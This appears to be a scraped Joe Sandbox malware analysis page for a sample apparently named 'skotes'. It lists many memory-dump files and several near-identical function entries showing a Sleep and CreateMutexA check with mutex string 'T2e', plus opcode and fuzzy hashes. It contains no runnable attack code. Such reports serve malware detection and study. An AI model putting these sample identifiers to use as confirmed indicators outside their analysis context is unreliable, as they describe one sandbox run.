Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 5c1c8cb98eef28442aad4902e84da96f42d6f9ed7bdb66ad475281b691953c15
Instruction ID: e70b252684c36344b0d87fc84d2182462c66848a2d05b1b4f7a7120a98d62f6a
Opcode Fuzzy Hash: 5c1c8cb98eef28442aad4902e84da96f42d6f9ed7bdb66ad475281b691953c15
Instruction Fuzzy Hash: F1314C717546088BEB08DB78DD897BEBF66FFC1310F208618E114973D6C7B94A808752

Function 005F9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 7d76adcf3c447cae2de2eb6eb7b47dd5c8c5acae6de258a0c2a5b6e6edf1ea73
Instruction ID: cdb81df65849997678d5ac034471a72efce3b7252b2c1eab479077935acb2e24
Opcode Fuzzy Hash: 7d76adcf3c447cae2de2eb6eb7b47dd5c8c5acae6de258a0c2a5b6e6edf1ea73
Instruction Fuzzy Hash: AB3128717142089BEB09DB68DD887BDBBA6FFC5310F208619E118DB3D5D77A59808712

Function 005FA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: ae703fc8f1a5811095697a0140689fd796a6f032a934d32d01560a4180ff7cb5
Instruction ID: fbdc0baa220725d4b522e99268d3ca7af8b6033725b3d3567c744cb95f965aaf
Opcode Fuzzy Hash: ae703fc8f1a5811095697a0140689fd796a6f032a934d32d01560a4180ff7cb5
Instruction Fuzzy Hash: 293127B17542089BEB08DBA8DD89BBEBB77AF81310F208618E118973D5C77A59808717

Function 005FA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: aa9a57ebaea15a71fd62e1b4921e4760d269f5b9b9fe09d6da55d6a79eccfef7
Instruction ID: ac0651d95c66c195a3aa9a71f257327f493057ac783b919109de15170fa5b606
Opcode Fuzzy Hash: aa9a57ebaea15a71fd62e1b4921e4760d269f5b9b9fe09d6da55d6a79eccfef7
Instruction Fuzzy Hash: 293128B17542089BEB08DBB8DDC9BBDBB66BF85310F204618E118973D5C77A59808713

Function 005FA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: d5f69cce465e9f109961023396df354c6b8364862a153d2e903c4b6d72de78d0
Instruction ID: 4c01b820436b061840fd7e62b18cd1dc78f41b262c4b197454119fd7618bee52
Opcode Fuzzy Hash: d5f69cce465e9f109961023396df354c6b8364862a153d2e903c4b6d72de78d0
Instruction Fuzzy Hash: A7313BB17502049BEB08EBB8D98D77DBB66FFC1310F204618E1189B3D6D7B949808757

Function 005FA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
